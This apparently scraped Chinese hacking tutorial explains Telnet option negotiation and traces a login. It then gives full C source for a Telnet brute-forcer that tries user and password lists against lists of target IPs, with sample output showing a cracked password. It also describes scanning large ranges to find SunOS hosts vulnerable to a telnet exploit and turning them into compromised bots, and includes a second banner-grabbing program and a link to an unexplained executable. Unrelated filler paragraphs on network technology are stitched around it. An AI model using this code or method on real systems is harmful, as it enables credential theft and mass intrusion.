|
導讀網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據... 網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 所謂對telnet的攻擊也不外乎對telnet的用戶猜解和對telnet服務進程的溢出,除了這些, 本人覺得telnet并沒有太大的問題.telnet的連接并不是大家想象的那么簡單了,雖然沒有像ssh那樣進行加密, 不過, 還是比ftp等通訊來的復雜。 D:>telnet 192.168.25.1 Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 login: chi Password: xxxxxxx Last Login: Mon Feb 24 13:43:30 from 192.168.25.1 [chi@chi chi]$ 現在我們先對telnet有點了解吧!TELNET Protocol的目的是提供一個相對通用的,雙向的,面向八位字節的通信方法。它主要的目標是允許接口終端設備的標準方法和面向終端的相互作用。可以預見到,此協議也可被用于終端到終端的通信和處理到處理的通信(分布式計算)。 一個TELNET連接是一個用于傳輸控制協議的傳送數據的。TELNET 協議是建立在以下三個基礎上: 1。網絡虛擬終端的概念; 當一個TELNET連接被初次建立時,每一端都被假設使用了網絡虛擬終端,也就是NVT。NVT是一個想象中的標準設備通用設備的代表。這就消除了“服務器”和“用戶”機要了解對方機器終端的特點,而終端可以直接處理對話 2。對話選項的方法; 基于對話方式的連接. 它們使用"DO, DON'T, WILL, WON'T" 結構允許用戶機和服務器建立建立一種更加精巧的TELNET會話連接。這種選項包括改變字符集,響應模式等等。設置選項的基本策略是任一方初始化要求一個選項生效的請求。另一方可以接受也可以拒絕這一請求。如果接受請求,此選項立刻生效;如果被拒絕,連接仍然保持基本的NVT的連接屬性。 3。終端和處理的協調; 在終端一方,設置硬件在每一行結束時放棄控制權。當這種情況發生時,本地計算機處理輸入數據,決定是否輸出,如果不需要,將控制權回送給終端。如果需要產生輸出,計算機將保有控制權直到輸出數據發送完畢。在網絡上使用這種終端的困難是顯而易見的。這里就要對 協調有很高的要求了. 所有TELNET命令結構至少包括一個兩個字節的序列:由一個IAC后跟一個命令。關于選項會話的命令是由三個字節的序列構成的,第三個字節是關于選項參考的,下面是定義了的TELNET命令. ....................................................................................... SE 240 結束子會話參數。 NOP 241 無操作。 Data Mark 242 Synch的數據流部分。這應該總和TCP緊急標志一起發送。 Break 243 NVT 字符 BRK。 Interrupt Process 244 IP功能。 Abort output 245 AO功能。 Are You There 246 AYT功能。 Erase character 247 EC功能。 Erase character 247 EL功能。 Go ahead 249 The GA 信號。 SB 250 指出所跟隨的是指示選項的子對話。 WILL (option code) 251 指示希望開始執行,或者確認現在正在操作指示的選項。 WON'T (option code) 252 指出拒絕執行或繼續招待所指示的選項。 DO (option code) 253 指出要求對方執行,或者確認希望對方執行指示的選項。 DON'T (option code) 254 指出要求對方停止執行,或者確診要求對方停止執行指示的選項。 IAC 255 數據字節 255 ................................................................................. 我們用sniffer來跟蹤telnet的登陸過程. 9. IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.391,66, Telnet Command: DO TERMINAL-TYPE Command: DO TERMINAL-SPEED Command: DO X-DISPLAY-LOCATION Command: DO NEW-ENVIRON 10,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,60, Telnet Command: WILL TERMINAL-TYPE Command: WILL NAWS 13,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63, Telnet Command: WON'T TERMINAL-SPEED Command: WON'T X-DISPLAY-LOCATION Command: WON'T NEW-ENVIRON 18,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,63, Telnet Command: DO NAWS Command: SB TERMINAL-TYPE Command: EB 26,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,66, Telnet Command: WILL SUPPRESS-GO-AHEAD Command: DO ECHO Command: WILL STATUS Command: DO TOGGLE-FLOW-CONTROL 31,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,63, Telnet Command: WILL ECHO Command: DON'T STATUS Command: WON'T TOGGLE-FLOW-CONTROL 34,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.040,126, Telnet Command: DON'T ECHO Command: WILL ECHO Data: Red Hat Linux release 7.3 (Valhalla)<CR><LF>Kernel 2.4.18-3 on an i686<CR><LF> (注意這里就接收到了banner了) 35,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,57, Telnet Command: WON'T ECHO 36,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,61, Telnet Data: login: (接收到Login字節) 39,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.000,57, Telnet Command: DO ECHO (這里就可以發送用戶名) 62,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.010,56, Telnet Data: <CR><LF> 67,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,64, Telnet Data: Password: (接收到password字節并可以發送密碼進行驗證) 97,IP/TCP,00:01:02:E1:35:84 => 00:50:56:46:40:41,192.168.25.1 => 192.168.25.3,3225 => 23,0.220,56, Telnet Data: <CR><LF> (發送完成,如果成功就會返回下面的情況) 104,IP/TCP,00:01:02:E1:35:84 <= 00:50:56:46:40:41,192.168.25.1 <= 192.168.25.3,3225 <= 23,0.000,105, Telnet Data: Last login: Thu Feb 27 10:06:16 from 192.168.25.1<CR><LF> 對telnet一次成功的登陸就到這里結束了,按早上面的的過程就可以寫出個對telnet用戶名的密碼的猜解了! /************************************************************************/ /* 下面這個是我對Red hat 7.3 所寫的telnet user check,可以對別的無效, 只要稍作修改就可以了 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #define PORT 23 #define MAX 1024 main(int argc,char *argv[]) { FILE *userfile; FILE *passfile; FILE *ipfile; char user[1024]; char pass[1024]; char scan_ip[1024]; if(argc < 4) { usage(argv[0]); exit(1); } if((ipfile = fopen(argv[3],"r")) == NULL) { printf("could not read the ipfile\n"); exit(2); } while(fscanf(ipfile,"%s",&scan_ip) != EOF) { if((userfile = fopen(argv[1],"r")) == NULL) { printf("could not read the inputfile\n"); exit(2); } while(fscanf(userfile,"%s",&user) != EOF) { if((passfile = fopen(argv[2],"r")) == NULL) { printf("could not creat the outputfile\n"); exit(2); } while(fscanf(passfile,"%s",&pass) != EOF) { telnet_banner(scan_ip,user,pass); } } } exit(1); } int usage(char *pro) { printf(" Welcome to www.9836.com \n"); printf("usage: %s <userfile> <passfile> <ipfile> \n",pro); exit(0); } telnet_banner(char *ip,char *check_user, char *check_pass) { struct sockaddr_in addr; u_char buf[MAX]; int sock,size,i=0; if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) { printf(" socket failt"); exit(1); } addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ip); if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) { printf("connect failt"); exit(1); } while(i<10){ read (sock, buf, 1); if (*buf == 255) /* IAC */ read (sock, (buf + 1), 2); if ( * (buf + 1) == 253 ) /* 是否為DO */ { *(buf + 1) = 252; write (sock, buf, 3); /* 發送 WON'T */ } i++; } if (*buf != 0) { bzero (buf, sizeof (buf)); read (sock, buf, sizeof (buf)); /* 讀取Telnet banner */ printf("%s",buf); } bzero (buf, sizeof (buf)); read (sock, buf, sizeof (buf)); /* Login */ *(buf+0) = 255; *(buf + 1) = 253; *(buf + 2) = 0x01; write (sock, buf, 3); /* IAC DO ECHO */ write(sock,check_user,sizeof(check_user)); /* 發送用戶名 */ *(buf+0) = 0x0D; *(buf + 1) = 0X0A; write (sock, buf, 2); /* <CR><LF> 表示發送完畢*/ read(sock,buf,sizeof(buf)); read(sock,buf,sizeof(buf)); /* password 字節 */ write(sock,check_pass,sizeof(check_pass)+3); /* 發送密碼 */ *(buf+0) = 0x0D; *(buf + 1) = 0X0A; write (sock, buf, 2); /* <CR><LF> 表示發送完畢*/ read(sock,buf,sizeof(buf)); /* 讀取回顯 */ printf("%s",buf); if( strstr(buf,"from") != NULL ) /* 判定 */ { printf("\nuser %s is found, password is %s\n",check_user,check_pass); } close(sock); } /***************************************************************************************/ 使用結果: E:\cygwin\home\chi>telnet user.txt pass.txt ip.txt Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 Last login: Thu Feb 27 20:07:49 from 192.168.25.3 user chi is found, password is 2211wen Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 ssword: Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 ssword: Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 ssword: Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 ssword: Red Hat Linux release 7.3 (Valhalla) Kernel 2.4.18-3 on an i686 ssword: E:\cygwin\home\chi> 除了, 對telnet用戶的猜解,還有的就只有對telnet服務或telnet進程的溢出了!telnet的登陸其實使用的login文件, 大家是不是想到了rootkit, 到現在為止sunos-telnet漏洞還有很多主機沒有補好的!至于sunos-telnet的exploit如何用, 我這就不說了!我只概括的講一下得到大批肉雞的方法! sunos的基本安裝時就開了telnet, 所以大多的sunos主機都不會有人故意去改他的banner, 所以telnet的banner對我們來說是很重要的! 先生打開superscan, 掃描個大的區域并掃描111或22, 也就是unix機和windows端口上的區別, 從而過濾點windows的主機, 接下去, 保存你掃到的列表, 再次導入superscan中, 這次掃描的是23端口. 結下去的主機就沒有省下多少了!然對superscan的ip列表進行過濾, 變成純ip的列表![你需要的程序在這里下載http://9836.com/software/file.exe] 接下去就是對telnet banner的掃描了!沒有忘上這上面那個程序吧, 我修改了一下就變成telnet banner check了, 而不是對用戶的掃描! /************************************************************************/ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #define PORT 23 #define MAX 1024 FILE *output; main(int argc,char *argv[]) { FILE *input; FILE *ipfile; char scan_ip[1024]; if(argc < 3) { usage(argv[0]); exit(1); } if(argc== 3) { if((output = fopen(argv[2],"wb")) == NULL) { printf("could not creat the outputfile\n"); exit(2); } if((input = fopen(argv[1],"r")) == NULL) { printf("could not read the inputfile\n"); exit(2); } } while(fscanf(input,"%s",&scan_ip) != EOF) { telnet_banner(scan_ip,argv[3]); } exit(1); } int usage(char *pro) { printf(" Welcome to www.9836.com \n"); printf("usage: %s <inputfile> <outputfile> \n",pro); exit(0); } telnet_banner(char *ip,char *times) { struct sockaddr_in addr; u_char buf[MAX]; int sock,size,i=0; if((sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) == -1) { printf(" socket failt"); exit(1); } addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ip); if(connect(sock,(struct sockaddr *)&addr,sizeof(addr)) == -1) { printf("connect failt"); exit(1); } while(i<10){ read (sock, buf, 1); if (*buf == 255) { read (sock, (buf + 1), 2); } if ( * (buf + 1) == 253 ) { *(buf + 1) = 252; write (sock, buf, 3); } i++; } if (*buf != 0) { bzero (buf, sizeof (buf)); read (sock, buf, sizeof (buf)); printf("%s",buf); if( strstr(buf,"SunOS") != NULL) { *(buf + 14) = 0; fprintf(output,"%s",buf); fputs(ip,output); } } close(sock); } /****************************************************************************/ 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!